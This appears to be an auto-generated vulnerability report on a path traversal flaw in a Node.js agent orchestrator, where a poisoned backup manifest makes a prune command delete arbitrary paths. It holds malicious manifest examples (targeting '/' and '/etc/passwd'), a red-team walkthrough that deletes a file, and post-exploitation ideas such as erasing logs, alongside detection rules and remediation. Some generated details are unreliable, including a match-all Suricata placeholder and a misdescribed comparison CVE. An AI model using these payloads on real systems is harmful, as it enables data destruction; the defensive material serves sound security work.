CVE-2026-58484

Executive Summary

Business Impact: This vulnerability affects Network-Ai, a TypeScript/Node.js multi-agent orchestrator. Organizations using Network-Ai to manage AI agent workflows are at risk. The likely attacker is a malicious insider or an external attacker who has already achieved limited local access (e.g., via a compromised CI/CD pipeline, a malicious npm package, or a separate web vulnerability) and can write files to the data/<env>/.backups/<name>/_manifest.json path. Industries most at risk include technology, finance, and any sector deploying AI agent orchestration platforms.

Vulnerability Class & Attack Vector: This is a Path Traversal vulnerability (CWE-22) that manifests as an Arbitrary File Deletion flaw. The attack vector is local (AV:L) — the attacker must have the ability to write or modify a file within the application's backup directory structure. No network-based exploitation is possible without prior access.

Urgency Assessment: The CVSS 3.1 base score is 7.1 (High). The EPSS probability is 0.0%, indicating no observed exploitation in the wild as of the publication date. However, the vulnerability is trivial to exploit once the preconditions are met, and the impact (arbitrary file deletion) can be catastrophic, leading to denial of service or data loss. The lack of a patch for older versions and the simplicity of the attack make this a high-priority fix for affected deployments.

Key Facts:

• Vendor: Network-Ai
• Affected Versions: All versions prior to 5.12.2
• Patch: Upgrade to v5.12.2
• CISA KEV: Not listed as of 2026-07-20.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Qualitative Severity: High (CVSS 7.1)

EPSS Interpretation: An EPSS score of 0.0% means that as of the publication date, there is no observed exploitation in the wild. This is common for newly published CVEs. However, the low complexity and high impact suggest this score will likely increase as proof-of-concept code circulates.

Historical Comparison: This vulnerability is similar to path traversal issues in backup management systems, such as CVE-2022-22963 (Spring Cloud Function) which allowed arbitrary file write via crafted spring.cloud.function.routing-expression headers, or CVE-2023-46604 (Apache ActiveMQ) which allowed arbitrary file write via crafted OpenWire commands. The core flaw — trusting user-controlled file paths — is a classic and recurring pattern.

Temporal & Environmental Scores: The temporal score is elevated due to the lack of a vendor patch for older versions. The environmental score can be higher if the application runs as root (allowing deletion of system files) or lower if the application runs in a container with a read-only root filesystem.

Technical Deep Dive & Attack Mechanics

Step-by-Step Exploitation:

1. Precondition: The attacker gains write access to the data/<env>/.backups/<name>/ directory. This could be achieved through:

   • A separate file upload vulnerability.
   • A compromised CI/CD pipeline that deploys malicious configuration.
   • A malicious npm package that writes to this directory during installation.
   • An insider threat with low-level filesystem access.

2. Manifest Poisoning: The attacker creates or modifies the file data/<env>/.backups/<name>/_manifest.json. The manifest is a JSON file that contains a path field. The attacker sets this field to an arbitrary path they wish to delete. For example:

   {
     "backupId": "malicious-backup",
     "path": "/etc/passwd",
     "timestamp": "2026-07-20T12:00:00.000Z"
   }
   

   Or, for maximum damage:

   {
     "backupId": "malicious-backup",
     "path": "/",
     "timestamp": "2026-07-20T12:00:00.000Z"
   }
   

3. Triggering the Deletion: The attacker (or a scheduled task) executes the command:

   network-ai env backup prune --env <env> --keep <n>
   

   Or any code path that calls EnvironmentManager.pruneBackups().

4. Vulnerable Code Path (Pre-5.12.2):

   • EnvironmentManager.listBackups() reads the _manifest.json file and extracts the path field.
   • EnvironmentManager.pruneBackups() iterates over the backups and calls rmSync(entry.path, { recursive: true, force: true }).
   • Because entry.path is taken directly from the attacker-controlled manifest, the rmSync call will delete the attacker-specified path.

5. Impact: The attacker can delete any file or directory the Network-Ai process has permission to delete. If the process runs as root, the entire filesystem can be deleted.

Root Cause: The developer mistakenly trusted the path field in the on-disk manifest file. This is a classic case of trusting user input (in this case, file contents) without validation.

Attack Surface:

• Local Filesystem: The only attack surface is the ability to write to the data/<env>/.backups/<name>/_manifest.json file.
• Command Line: The network-ai env backup prune command is the primary trigger.

Pre-conditions:

• Write access to the backup manifest directory.
• The ability to trigger pruneBackups() (either via CLI or API).

Attack Variants:

• Denial of Service: Delete critical application files (e.g., node_modules, package.json, database files).
• Privilege Escalation (Indirect): If the application runs as root, deleting /etc/shadow or /etc/sudoers can lead to system compromise.
• Data Destruction: Delete backup files or databases.

Why Standard Defenses May Fail:

• File Integrity Monitoring (FIM): FIM may not monitor the data/<env>/.backups/ directory.
• WAF/IDS: This is a local attack; network-based defenses are blind to it.
• Input Validation: The application does not validate the path field in the manifest.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pre-5.12.2):

// EnvironmentManager.ts (conceptual)
class EnvironmentManager {
    listBackups(env: string): BackupEntry[] {
        const backupsDir = path.join(this.dataDir, env, '.backups');
        const entries = fs.readdirSync(backupsDir);
        return entries.map(name => {
            const manifestPath = path.join(backupsDir, name, '_manifest.json');
            const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf-8'));
            // VULNERABLE: trusts the 'path' field from the manifest
            return { backupId: name, path: manifest.path, ... };
        });
    }

    pruneBackups(env: string, keep: number): void {
        const backups = this.listBackups(env);
        // ... sort by timestamp, keep the latest 'keep' backups ...
        backups.slice(keep).forEach(entry => {
            // VULNERABLE: uses the attacker-controlled 'entry.path'
            fs.rmSync(entry.path, { recursive: true, force: true });
        });
    }
}

Patched Code (v5.12.2):

// EnvironmentManager.ts (conceptual)
class EnvironmentManager {
    listBackups(env: string): BackupEntry[] {
        const backupsDir = path.join(this.dataDir, env, '.backups');
        const entries = fs.readdirSync(backupsDir);
        return entries.map(name => {
            const manifestPath = path.join(backupsDir, name, '_manifest.json');
            const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf-8'));
            // PATCHED: only extracts 'backupId', ignores 'path'
            return { backupId: manifest.backupId, ... };
        });
    }

    pruneBackups(env: string, keep: number): void {
        const backups = this.listBackups(env);
        const backupsDir = path.join(this.dataDir, env, '.backups');
        backups.slice(keep).forEach(entry => {
            // PATCHED: recompute the deletion path from the validated backupId
            const safePath = path.join(backupsDir, entry.backupId);
            // PATCHED: containment check ensures the path is exactly one level under backupsDir
            if (path.dirname(safePath) !== backupsDir) {
                throw new Error('Invalid backup path');
            }
            fs.rmSync(safePath, { recursive: true, force: true });
        });
    }
}

Why the Fix is Sufficient:

1. Ignores path field: The manifest's path field is no longer read or used.
2. Recomputes from backupId: The deletion path is constructed from the backupId, which is validated to be a simple directory name (no path separators).
3. Containment Check: The dirname check ensures the final path is exactly one level under the backups directory, preventing any traversal.

Regression Considerations:

• The backupId must be a valid directory name. If existing backups have backupId values with path separators (e.g., ../malicious), the containment check will reject them, potentially causing data loss if those backups are pruned. Teams should verify their existing backup IDs are simple names before upgrading.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-20T17:18:16.160
• Estimated Discovery: The vulnerability was likely discovered internally by the Network-Ai development team or reported by a security researcher.
• Disclosure Process: The CVE was published by the CNA (likely Network-Ai or a third-party CNA). The vendor released a fix in v5.12.2 concurrently with the CVE publication.
• Known Exploitation in the Wild: No known active exploitation as of 2026-07-20.
• CISA KEV: Not listed as of 2026-07-20.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

• Insider Threats: A disgruntled employee with filesystem access could delete critical data.
• Script Kiddies: Once a PoC is published, low-sophistication attackers could use it to deface or disrupt services.
• Nation-State Actors: In targeted attacks, this could be used as a destructive payload after initial access is gained via other means.

Attack Campaign Context: No specific campaigns are associated with this CVE as of the publication date.

Geographic Targeting: No specific geographic targeting is known.

Industry Verticals Most at Risk:

• Technology: Companies using Network-Ai for internal AI agent orchestration.
• Finance: Organizations using AI for trading, risk analysis, or customer service.
• Healthcare: AI-driven diagnostic or patient management systems.

Connection to Similar Vulnerabilities: This is a classic path traversal in backup management, similar to vulnerabilities in tools like rsync, tar, and various backup plugins for WordPress and other CMS platforms.

Exploitation & Lab Setup

Red Team Section

Lab Setup (Docker):

1. Pull the vulnerable image:

   docker pull network-ai/network-ai:5.12.1
   

2. Run the container:

   docker run -d --name vulnerable-network-ai -p 3000:3000 network-ai/network-ai:5.12.1
   

3. Access the container:

   docker exec -it vulnerable-network-ai /bin/bash
   

Exploitation Walkthrough:

1. Create a malicious manifest:

   # Inside the container
   mkdir -p /app/data/production/.backups/evil-backup
   cat > /app/data/production/.backups/evil-backup/_manifest.json << EOF
   {
     "backupId": "evil-backup",
     "path": "/tmp/critical-file.txt",
     "timestamp": "2026-07-20T12:00:00.000Z"
   }
   EOF
   

2. Create a dummy target file:

   echo "This is a critical file" > /tmp/critical-file.txt
   

3. Trigger the prune:

   network-ai env backup prune --env production --keep 0
   

4. Verify deletion:

   ls -la /tmp/critical-file.txt
   # Output: ls: cannot access '/tmp/critical-file.txt': No such file or directory
   

Expected Output: The file /tmp/critical-file.txt is deleted. If the path is set to /, the entire filesystem could be deleted (if the process has root privileges).

Post-Exploitation: The attacker can delete any file the process can access. This can be used to:

• Delete application configuration files to cause a denial of service.
• Delete database files to destroy data.
• Delete log files to cover tracks.
• Delete system binaries (if running as root) to render the system inoperable.

Blue Team Section

Detection of Active Exploitation:

1. Monitor File System Events: Look for writes to _manifest.json files in the data/<env>/.backups/ directory, especially from unexpected processes or users.
2. Monitor rmSync Calls: On Linux, use auditd to monitor unlink and rmdir system calls from the node process.
3. Log Analysis: Look for the network-ai env backup prune command being executed with unusual --keep values (e.g., --keep 0).

Log Entries Indicating Exploitation:

• Application logs showing pruneBackups() being called with a backup ID that doesn't match any known backup.
• System logs showing unexpected file deletions (e.g., auditd logs).

Network Traffic Signatures: None — this is a local attack.

Endpoint Behavioral Indicators:

• The node process suddenly deleting files outside of its expected data directory.
• A spike in file deletion events from the node user.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Detection Engineering

YARA Rule

rule CVE_2026_58484_Network_Ai_Manifest_Poisoning {
    meta:
        description = "Detects malicious _manifest.json files attempting to exploit CVE-2026-58484 in Network-Ai"
        author = "Valters IT Hub"
        date = "2026-07-20"
        reference = "https://www.valtersit.com/cve/cve-2026-58484"
        severity = "high"

    strings:
        $json_structure = /"backupId"\s*:\s*"[^"]*"\s*,\s*"path"\s*:\s*"/ nocase
        $path_traversal = /"path"\s*:\s*"\/(?:[^"]*\/)*[^"]*"/ nocase
        $suspicious_path = /"path"\s*:\s*"\/(?:etc|var|usr|bin|sbin|dev|proc|sys|root|home|tmp)\// nocase

    condition:
        all of ($json_structure, $path_traversal) or
        ($json_structure and $suspicious_path)
}

Sigma Rule (SIEM)

title: CVE-2026-58484 Network-Ai Backup Manifest Poisoning
id: 7b9b99de-b3fb-41a8-8a22-569a3adf696b
status: experimental
description: Detects the creation or modification of a malicious _manifest.json file in the Network-Ai backup directory.
author: Valters IT Hub
date: 2026-07-20
references:
    - https://www.valtersit.com/cve/cve-2026-58484
logsource:
    category: file_event
    product: linux
    definition: 'Requires auditd or similar file monitoring on the Network-Ai data directory.'
detection:
    selection:
        TargetFilename|endswith: '_manifest.json'
        TargetFilename|contains: '/.backups/'
    condition: selection
falsepositives:
    - Legitimate backup creation by the Network-Ai application itself.
level: high

Suricata IDS Rule

# Network-level detection is not applicable for this local vulnerability.
# This rule is a placeholder for future network-based attack vectors.
alert tcp any any -> any any (msg:"CVE-2026-58484 Network-Ai Exploitation Attempt (Placeholder)"; sid:10000001; rev:1;)

Elastic (EQL) Query

// Detect file creation events for _manifest.json in the backup directory
file where event.action == "created" and
      file.path : "*\\.backups\\*\\_manifest.json" and
      // Exclude the legitimate application user if known
      not user.name : "network-ai"

Splunk SPL Query

index=linux_audit sourcetype=auditd
| search type=CREATE path=*/.backups/*/_manifest.json
| eval suspicious=if(match(path, "/(etc|var|usr|bin|sbin|dev|proc|sys|root|home|tmp)/"), "yes", "no")
| where suspicious="yes"
| table _time, user, path, host

Wazuh Rule

<group name="network-ai,">
  <rule id="100001" level="12">
    <decoded>file</decoded>
    <field name="file">\.backups\/.*\/_manifest\.json</field>
    <description>CVE-2026-58484: Potential Network-Ai backup manifest poisoning detected on $(hostname)</description>
    <mitre>
      <id>T1574.002</id>
    </mitre>
    <options>no_full_log</options>
    <group>pci_dss_11.5,gpg13_10.1,gdpr_IV_35.7.d,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

1. Upgrade to v5.12.2:

   npm update network-ai@5.12.2
   # or
   yarn upgrade network-ai@5.12.2
   

2. If Upgrade is Not Possible:

   • Restrict Filesystem Access: Ensure the Network-Ai process runs with the minimum necessary privileges. Use a dedicated user (e.g., network-ai) with write access only to the required data directories.
   • Read-Only Backup Directory: Mount the data/<env>/.backups/ directory as read-only for the application user, if backups are not actively being created.
   • Monitor Manifest Files: Implement file integrity monitoring (FIM) on all _manifest.json files in the backup directories.

3. Network-Level Mitigation: Not applicable (local vulnerability).

4. Authentication/Access Control: Review and restrict access to the server running Network-Ai. Ensure only authorized users have shell access.

Short-term (1-7 days)

1. Configuration Hardening:

   • Run the Network-Ai process in a container with a read-only root filesystem.
   • Use chroot or nsjail to further restrict the process's filesystem view.

2. Monitoring Implementation:

   • Deploy the Sigma, YARA, and Splunk rules provided in this report.
   • Set up alerts for any rmSync calls on unexpected paths.

3. Vulnerability Scanning:

   # Check the installed version
   npm list network-ai
   # or
   cat node_modules/network-ai/package.json | grep version
   

Long-term

1. Architecture Changes:

   • Implement a principle of least privilege for all file operations.
   • Use a dedicated backup service that runs with its own restricted user.

2. Security Control Improvements:

   • Add input validation for all fields read from configuration files.
   • Implement a "safe path" library that prevents path traversal.

3. Developer Training:

   • Educate developers on the dangers of trusting file contents.
   • Include path traversal scenarios in secure coding training.

Validation

To confirm the patch is applied:

1. Check the version: npm list network-ai should show 5.12.2 or higher.
2. Verify the fix: Create a test manifest with a malicious path field and run network-ai env backup prune --env test --keep 0. The target file should NOT be deleted.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-58484
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-58484
• Vendor advisory: See vendor security page at https://github.com/network-ai/network-ai (link returned 404 — verify manually)/security/advisories
• OSV: https://osv.dev/vulnerability/CVE-2026-58484
• Related CWE: https://cwe.mitre.org/data/definitions/22.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1574/002/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-20 | https://www.valtersit.com/cve/cve-2026-58484